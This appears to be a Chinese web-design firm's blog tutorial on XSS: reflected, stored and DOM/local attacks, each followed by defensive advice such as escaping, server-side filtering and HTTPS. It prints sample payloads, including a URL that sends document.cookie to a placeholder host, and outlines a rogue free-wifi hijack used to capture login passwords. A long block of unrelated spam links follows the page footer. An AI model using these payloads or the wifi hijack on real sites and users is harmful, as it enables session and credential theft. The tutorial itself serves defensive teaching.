億萬聯(lián)合 — 專業(yè)網(wǎng)站建設(shè)服務(wù)商 17786980340
您的位置:首頁 > 資訊 > 網(wǎng)絡(luò)學(xué)堂

網(wǎng)站安全之XSS攻擊

發(fā)布時(shí)間:2017年08月07日作者:波哥 瀏覽:10522

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點(diǎn)是“跨域”和“客戶端執(zhí)行”。

有人將XSS攻擊分為三種,分別是:

1. Reflected XSS(基于反射的XSS攻擊)

2. Stored XSS(基于存儲的XSS攻擊)

3. DOM-based or local XSS(基于DOM或本地的XSS攻擊)


Reflected XSS

基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊。

例子:

1. 做個假設(shè),當(dāng)亞馬遜在搜索書籍,搜不到書的時(shí)候顯示提交的名稱。

2. 在搜索框搜索內(nèi)容,填入“<script>alert('handsome boy')</script>”, 點(diǎn)擊搜索。

3. 當(dāng)前端頁面沒有對返回的數(shù)據(jù)進(jìn)行過濾,直接顯示在頁面上, 這時(shí)就會alert那個字符串出來。

4. 進(jìn)而可以構(gòu)造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點(diǎn)擊這個地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

PS:這個地址當(dāng)然是沒效的,只是舉例子而已。

結(jié)論:

如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。

開發(fā)安全措施:

1. 前端在顯示服務(wù)端數(shù)據(jù)時(shí)候,不僅是標(biāo)簽內(nèi)容需要過濾、轉(zhuǎn)義,就連屬性值也都可能需要。

2. 后端接收請求時(shí),驗(yàn)證請求是否為攻擊請求,攻擊則屏蔽。

例如:

標(biāo)簽:

<span><script>alert('handsome boy')</script></span>
轉(zhuǎn)義
<span>&lt;script&gt;alert(&#39;handsome boy&#39;)&lt;/script&gt</span>
屬性:

如果一個input的value屬性值是

瑯琊榜" onclick="javascript:alert('handsome boy')
就可能出現(xiàn)

<input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">

點(diǎn)擊input導(dǎo)致攻擊腳本被執(zhí)行,解決方式可以對script或者雙引號進(jìn)行過濾。


Stored XSS

基于存儲的XSS攻擊,是通過發(fā)表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務(wù)器,每個訪問該帖子/文章的人就會觸發(fā)執(zhí)行。

例子:

1. 發(fā)一篇文章,里面包含了惡意腳本

今天天氣不錯啊!<script>alert('handsome boy')</script>
2. 后端沒有對文章進(jìn)行過濾,直接保存文章內(nèi)容到數(shù)據(jù)庫。


3. 當(dāng)其他看這篇文章的時(shí)候,包含的惡意腳本就會執(zhí)行。

PS:因?yàn)榇蟛糠治恼率潜4嬲麄€HTML內(nèi)容的,前端顯示時(shí)候也不做過濾,就極可能出現(xiàn)這種情況。

結(jié)論:

后端盡可能對提交數(shù)據(jù)做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。

開發(fā)安全措施:

1. 首要是服務(wù)端要進(jìn)行過濾,因?yàn)榍岸说男r?yàn)可以被繞過。

2. 當(dāng)服務(wù)端不校驗(yàn)時(shí)候,前端要以各種方式過濾里面可能的惡意腳本,例如script標(biāo)簽,將特殊字符轉(zhuǎn)換成HTML編碼。

DOM-based or local XSS

基于DOM或本地的XSS攻擊。一般是提供一個免費(fèi)的wifi,但是提供免費(fèi)wifi的網(wǎng)關(guān)會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在于頁面,無須經(jīng)過服務(wù)器返回就是基于本地的XSS攻擊。


例子1:
1. 提供一個免費(fèi)的wifi。
1. 開啟一個特殊的DNS服務(wù),將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設(shè)置為我們的電腦IP。
2. 之后連上wifi的用戶打開任何網(wǎng)站,請求都將被我們截取到。我們根據(jù)http頭中的host字段來轉(zhuǎn)發(fā)到真正服務(wù)器上。
3. 收到服務(wù)器返回的數(shù)據(jù)之后,我們就可以實(shí)現(xiàn)網(wǎng)頁腳本的注入,并返回給用戶。
4. 當(dāng)注入的腳本被執(zhí)行,用戶的瀏覽器將依次預(yù)加載各大網(wǎng)站的常用腳本庫。


PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的,請注意!
這個其實(shí)就是wifi流量劫持,中間人可以看到用戶的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚頁面。



例子2:
1. 還是提供一個免費(fèi)wifi
2. 在我們電腦上進(jìn)行抓包
3. 分析數(shù)據(jù),可以獲取用戶的微信朋友圈、郵箱、社交網(wǎng)站帳號數(shù)據(jù)(HTTP)等。


PS:這個是我的測試,在51job頁面登錄時(shí)進(jìn)行抓包,可以獲取帳號密碼。



結(jié)論:
這攻擊其實(shí)跟網(wǎng)站本身沒有什么關(guān)系,只是數(shù)據(jù)被中間人獲取了而已,而由于HTTP是明文傳輸?shù)模允菢O可能被竊取的。


開發(fā)安全措施:
1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數(shù)據(jù)之前進(jìn)行一次握手,使得客戶端與服務(wù)端都有一個私鑰,服務(wù)端用這個私鑰加密,客戶端用這個私鑰解密,這樣即使數(shù)據(jù)被人截取了,也是加密后的數(shù)據(jù)。

總結(jié)

XSS攻擊的特點(diǎn)就是:盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行非目標(biāo)網(wǎng)站上原有的腳本(某篇文章說的)。本地的XSS攻擊的示例2其實(shí)不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是我們開發(fā)時(shí)候要注意的,而流量劫持的則可以使用HTTPS提高安全性。

810
分類:

您還沒有登錄,請先登錄

4008-4008-80

027-87827780

請點(diǎn)擊QQ圖標(biāo)咨詢客服;為避免丟失消息,請?zhí)砑観Q好友
提交需求
国内精品久久久久久久亚洲| 亚洲?V无码乱码国产精品| 99久久免费中文字幕精品| 亚洲精品无码不卡在线播HE| 国产精品五月天强力打造| 日批日出水久久亚洲精品tv| 天天综合亚洲色在线精品| 亚洲精品无码久久久久APP| 青草国产精品久久久久久| 性欧洲精品videos| 久久精品视频一区二区三区| 久久se精品一区二区| 国产精品偷伦视频观看免费| 精品久久久久久无码中文字幕| 婷婷国产成人精品一区二| 国产91精品一区| 国产91成人精品亚洲精品| 国产大片51精品免费观看| 久久精品国产黑森林| 亚洲第一区精品日韩在线播放| 亚洲国产精品毛片av不卡在线 | 中日韩产精品1卡二卡三卡| 国产精品免费久久久久久久久 | 久久99精品国产| 国产办公室秘书无码精品99| 久久国产乱子免费精品| 99热这里有免费国产精品| 99精品久久99久久久久久| 精品国产一区二区三区四区| 模特私拍国产精品久久| 久久婷婷五月综合色精品| 国产精品国产色综合色| 亚洲国产婷婷综合在线精品| 精品免费久久久久国产一区| 亚洲人精品午夜射精日韩 | 蜜臀91精品国产免费观看| 国产精品国产午夜免费福利看| 亚洲国产成人a精品不卡在线| 久久人人超碰精品CAOPOREN| 国产麻豆精品久久一二三| 久久精品国产亚洲av麻豆小说|